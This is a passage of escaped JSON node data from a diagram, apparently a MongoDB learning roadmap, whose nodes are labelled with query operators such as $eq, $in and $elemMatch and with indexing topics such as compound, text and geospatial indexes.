},\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 100\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 131.26273143170903,\n        \"y\": 953.5129687162062\n      }\n    },\n    {\n      \"id\": \"9mmxYBtvPYZlvFjQvE-2N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 235.262731431709,\n        \"y\": 953.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$slice\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 100,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 100\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 235.262731431709,\n        \"y\": 953.5129687162062\n      }\n    },\n    {\n      \"id\": \"XFCrm9msWAIcmTgFJxjt2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 139.44356172211582,\n        \"y\": 862.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Projection Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 176,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 139.44356172211582,\n        \"y\": 862.5129687162062\n      }\n    },\n    {\n      \"id\": \"f9PDNUACdzBKUmz12jpbU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 115.43048957867967,\n        \"y\": 1018.6136273592274\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"I4nV_ht5zBjcmqPR2vTLz\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 164\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 115.43048957867967,\n        \"y\": 1018.6136273592274\n      }\n    },\n    {\n      \"id\": \"2h8z2mrgRKSLKI-eBc3zM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.26273143170903,\n        \"y\": 1063.8880228021403\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$eq\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BxzMbF7cdvGPuy1EcRvWd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 131.26273143170903,\n        \"y\": 1063.8880228021403\n      }\n    },\n    {\n      \"id\": \"4ldCHOolpPKqFaZnzuINw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 136.72798633352363,\n        \"y\": 1025.8880228021403\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Comparison Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"XFCrm9msWAIcmTgFJxjt2\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 191,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 136.72798633352363,\n        \"y\": 1025.8880228021403\n      }\n    },\n    {\n      \"id\": \"wbZb0RwmANH4ssF07cAar\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 200.26273143170903,\n        \"y\": 1063.8880228021403\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$gt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kV5Tmu9ocDnuPQvkx2W0u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 200.26273143170903,\n        \"y\": 1063.8880228021403\n      }\n    },\n    {\n      \"id\": \"5-MLEEigFPRloN7wLa05T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 274.262731431709,\n        \"y\": 1063.8880228021403\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$lt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q8dr1JPEnLX0z4DiQwnAz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 60\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 274.262731431709,\n        \"y\": 1063.8880228021403\n      }\n    },\n    {\n      \"id\": \"eOfsrmOQI0dJW6HV_myVH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 131.26273143170903,\n        \"y\": 1117.9105231627132\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$lte\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q8dr1JPEnLX0z4DiQwnAz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 131.26273143170903,\n        \"y\": 1117.9105231627132\n      }\n    },\n    {\n      \"id\": \"kV5Tmu9ocDnuPQvkx2W0u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 200.26273143170903,\n        \"y\": 1117.9105231627132\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$gte\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q8dr1JPEnLX0z4DiQwnAz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 200.26273143170903,\n        \"y\": 1117.9105231627132\n      }\n    },\n    {\n      \"id\": \"Q8dr1JPEnLX0z4DiQwnAz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 274.262731431709,\n        \"y\": 1117.9105231627132\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$ne\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gakF5Zfgk7QIgg_UwqG_Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 60\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 274.262731431709,\n        \"y\": 1117.9105231627132\n      }\n    },\n    {\n      \"id\": \"MorGIP7KB2N9KpMSD5ECK\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -112.87959551652318,\n        \"y\": 851.4336244746441\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"f9PDNUACdzBKUmz12jpbU\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 170\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -112.87959551652318,\n        \"y\": 851.4336244746441\n      }\n    },\n    {\n      \"id\": \"Wd20OKQYYuW_bT6U-yRxT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -100.04735366349382,\n        \"y\": 904.57301775412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$in\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wgfOjoGCGEQe6TbJo9fTu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 65,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -100.04735366349382,\n        \"y\": 904.57301775412\n      }\n    },\n    {\n      \"id\": \"WPVFpQCNffYafwERUYmLb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -57.3058181599539,\n        \"y\": 862.5129687162062\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Array Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"PQFlUoIH2PTXdNDrADJ14\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 137,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -57.3058181599539,\n        \"y\": 862.5129687162062\n      }\n    },\n    {\n      \"id\": \"ZKHUCskdKQf4IaMUTN_e7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -31.047353663493823,\n        \"y\": 904.57301775412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$nin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wbZb0RwmANH4ssF07cAar\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 70,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -31.047353663493823,\n        \"y\": 904.57301775412\n      }\n    },\n    {\n      \"id\": \"hPPoO8ysGeEGEQhdveiDO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 42.95264633650612,\n        \"y\": 904.57301775412\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$all\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5-MLEEigFPRloN7wLa05T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 60\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 42.95264633650612,\n        \"y\": 904.57301775412\n      }\n    },\n    {\n      \"id\": \"TJHVY8DRWbDKeT_pIPJay\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -100.04735366349382,\n        \"y\": 958.5955181146926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$elemMatch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eOfsrmOQI0dJW6HV_myVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -100.04735366349382,\n        \"y\": 958.5955181146926\n      }\n    },\n    {\n      \"id\": \"-VMIkV6S6H1blngxLXk7Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 22.95264633650612,\n        \"y\": 958.8205217204215\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$size\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Q8dr1JPEnLX0z4DiQwnAz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 60,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 60\n      },\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 22.95264633650612,\n        \"y\": 958.8205217204215\n      }\n    },\n    {\n      \"id\": \"lqe7C2BSaop2D2Zbk_GNZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -79.09235438463963,\n        \"y\": 1030.1136273592278\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Element Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"4ldCHOolpPKqFaZnzuINw\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 162,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -79.09235438463963,\n        \"y\": 1030.1136273592278\n      }\n    },\n    {\n      \"id\": \"12kfpSapv2uNxpHzLkFSL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1070.1586280803735\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$exists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PmfjHFz-DW69pNh_t13Nm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 88,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1070.1586280803735\n      }\n    },\n    {\n      \"id\": \"BxzMbF7cdvGPuy1EcRvWd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -0.10151111360869436,\n        \"y\": 1070.1586280803735\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$type\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eOfsrmOQI0dJW6HV_myVH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -0.10151111360869436,\n        \"y\": 1070.1586280803735\n      }\n    },\n    {\n      \"id\": \"PmfjHFz-DW69pNh_t13Nm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1123.1586280803735\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$regex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BxzMbF7cdvGPuy1EcRvWd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 65,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 65\n      },\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1123.1586280803735\n      }\n    },\n    {\n      \"id\": \"PQFlUoIH2PTXdNDrADJ14\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1204.2048948470128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logical Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"lqe7C2BSaop2D2Zbk_GNZ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 153,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -92.1015111136087,\n        \"y\": 1204.2048948470128\n      }\n    },\n    {\n      \"id\": \"-62S4wRxHpIM2I59xjGun\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 86.606712488742,\n        \"y\": 1198.7048948470128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$and\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7xq_mdQOlUTuhfnogOl8h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 86.606712488742,\n        \"y\": 1198.7048948470128\n      }\n    },\n    {\n      \"id\": \"43BfjlUju-yJaGv-FaJty\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 150.606712488742,\n        \"y\": 1198.7048948470128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$or\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7xq_mdQOlUTuhfnogOl8h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 150.606712488742,\n        \"y\": 1198.7048948470128\n      }\n    },\n    {\n      \"id\": \"qaUj9916Fh4BtiLz_pwQs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 214.606712488742,\n        \"y\": 1198.7048948470128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$not\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7xq_mdQOlUTuhfnogOl8h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 214.606712488742,\n        \"y\": 1198.7048948470128\n      }\n    },\n    {\n      \"id\": \"7xq_mdQOlUTuhfnogOl8h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 278.606712488742,\n        \"y\": 1198.7048948470128\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$nor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wgfOjoGCGEQe6TbJo9fTu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126\n      },\n      \"measured\": {\n        \"width\": 60,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 278.606712488742,\n        \"y\": 1198.7048948470128\n      }\n    },\n    {\n      \"id\": \"A9W2LsivDc0ialLp83fYP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1231.6262156995867\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Performance Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1231.6262156995867\n      }\n    },\n    {\n      \"id\": \"haA1ltV6VzgJVJcJNMK0W\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 948.7080199175571\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 948.7080199175571\n      }\n    },\n    {\n      \"id\": \"SjPzR6JjdBeiqFsrRJPfW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1008.5011255563631\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Single Field\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"butGgZXGPTZI-sWx24bOr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137\n      },\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1008.5011255563631\n      }\n    },\n    {\n      \"id\": \"eSb4WAfWxJu6R95pPX6wm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -558.0015404901555,\n        \"y\": 1008.5011255563631\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Compound\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"butGgZXGPTZI-sWx24bOr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -558.0015404901555,\n        \"y\": 1008.5011255563631\n      }\n    },\n    {\n      \"id\": \"PV_3TEYdtVZ2VCDZEOsu_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1061.5011255563631\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137\n      },\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1061.5011255563631\n      }\n    },\n    {\n      \"id\": \"butGgZXGPTZI-sWx24bOr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -558.0015404901555,\n        \"y\": 1061.5011255563631\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Expiring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137\n      },\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -558.0015404901555,\n        \"y\": 1061.5011255563631\n      }\n    },\n    {\n      \"id\": \"bqXlDnPuMQIKulD9cTvPf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1114.1586280803735\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Geospatial Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 137\n      },\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1114.1586280803735\n      }\n    },\n    {\n      \"id\": \"YidhAuVk_VGukx_FfJSz2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1328.7712019978167\n      },\n      \"selected\": false,\n      